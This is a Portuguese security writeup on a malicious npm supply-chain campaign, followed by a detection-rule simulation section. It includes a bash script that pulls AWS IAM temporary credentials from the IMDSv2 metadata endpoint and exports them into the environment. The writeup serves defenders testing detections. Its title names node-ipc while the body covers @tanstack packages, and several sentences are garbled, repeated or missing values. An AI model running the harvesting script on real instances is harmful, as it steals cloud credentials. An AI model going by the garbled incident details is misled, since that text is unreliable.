Ataque Ativo à Cadeia de Suprimentos Compromete o Pacote node-ipc

Resumo

Pesquisadores da Socket descobriram um comprometimento na cadeia de suprimentos afetando 84 pacotes npm publicados sob o namespace @tanstack . As atualizações maliciosas introduziram um arquivo JavaScript fortemente ofuscado projetado para roubar segredos relacionados ao CI do GitHub Actions, AWS, HashiCorp Vault e ambientes Kubernetes, e então usar essas credenciais para se republicar no npm. O payload também plantou ganchos de persistência dentro dos diretórios de configuração do Claude Code e VS Code. Os pesquisadores vincularam a atividade à ampla campanha de malware na cadeia de suprimentos Mini Shai-Hulud.

Investigação

A investigação identificou um arquivo recém-adicionado, router_init.js, que usava rotação de array de strings, uma camada adicional de decodificação XOR e Base64, e daemonização para ocultar seu comportamento. O malware tinha como alvo variáveis de ambiente, serviços de metadados de nuvem e endpoints de API associados ao GitHub, AWS, Vault e Kubernetes para coletar credenciais. Ele se propagava abusando da federação OIDC do GitHub Actions para obter tokens de publicação npm e inseriu uma optionalDependency on maliciosa emmaliciosa em

. O tráfego de exfiltração era roteado através da rede de mensagens descentralizada Session.

As organizações afetadas pela campanha devem verificar hashes para todos os conteúdos do pacote @tanstack/* , girar todas as credenciais de CI e nuvem, revogar concessões OIDC de federação expostas e remover arquivos não autorizados dos diretórios .claude and e e . Bloquear o tráfego de saída para . Bloquear o tráfego de saída para e aplicar controles de integridade para pacotes npm pode reduzir ainda mais a exposição. Os workflows do GitHub Actions também devem ser reforçados fixando ações de terceiros e minimizando permissões de e aplicar controles de integridade para pacotes npm pode reduzir ainda mais a exposição. Os workflows do GitHub Actions também devem ser reforçados fixando ações de terceiros e minimizando permissões de

Resposta

Os defensores devem caçar a presença de router_init.js e nomes de arquivos relacionados, monitorar processos gerados suspeitosamente e alertar sobre o acesso aos endpoints de metadados de nuvem identificados. Quaisquer pacotes comprometidos devem ser colocados em quarentena, ganchos maliciosos removidos e todas as credenciais expostas rotacionadas imediatamente. As equipes de segurança também devem realizar uma revisão completa das atividades do GitHub Actions para o uso não autorizado de tokens e validar a proveniência de todos os pacotes npm publicados.

Execução da Simulação

Pré-requisito: A Verificação de Pré-Voo de Telemetria e Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa do Ataque & Comandos:

  1. Obter um token de sessão IMDSv2 – o invasor emite um PUT pedido ao endpoint de token com um TTL de 21600 segundos.
  2. Usar o token para consultar o nome do papel IAM exposto em /latest/meta-data/iam/security-credentials/.
  3. Recuperar as credenciais IAM temporárias (AccessKeyId, SecretAccessKey, Token) para o perfil de instância.
  4. Armazenar as credenciais localmente para uso posterior (por exemplo, para chamar APIs AWS, pivotar ou conduzir ataques de força bruta).

  Esses passos geram tráfego HTTP para os URIs exatos listados na regra Sigma, que, quando capturados por Logs de Fluxo VPC, devem satisfazer a condição de detecção.

• Script de Teste de Regressão:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script: aws_imds_credential_harvest.sh
  # Propósito: Simular colheita de credenciais via IMDSv2 / metadados ECS
  # -------------------------------------------------
  
  set -euo pipefail
  
  # 1. Solicitar token IMDSv2
  TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
  
  if [[ -z "$TOKEN" ]]; then
    echo "[!] Falha ao obter token IMDSv2"
    exit 1
  fi
  echo "[*] Token IMDSv2 obtido"
  
  # 2. Obter nome do papel IAM associado à instância
  ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  
  if [[ -z "$ROLE_NAME" ]]; then
    echo "[!] Não foi possível recuperar o nome do papel IAM"
    exit 1
  fi
  echo "[*] Papel IAM da instância: $ROLE_NAME"
  
  # 3. Recuperar credenciais temporárias para o papel
  CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
  
  echo "[*] Credenciais recuperadas:"
  echo "$CREDS_JSON" | jq .
  
  # 4. (Opcional) Exportar como variáveis de ambiente para uso posterior com AWS CLI
  export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
  export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
  export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
  
  echo "[*] Credenciais exportadas para o ambiente (apenas para demonstração)."
  # -------------------------------------------------
  # Fim do script
  # -------------------------------------------------

• Comandos de Limpeza:

  # Desconfigurar variáveis de ambiente que contêm credenciais temporárias
  unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
  
  # Remover quaisquer arquivos temporários (nenhum criado neste script)
  echo "[*] Limpeza concluída."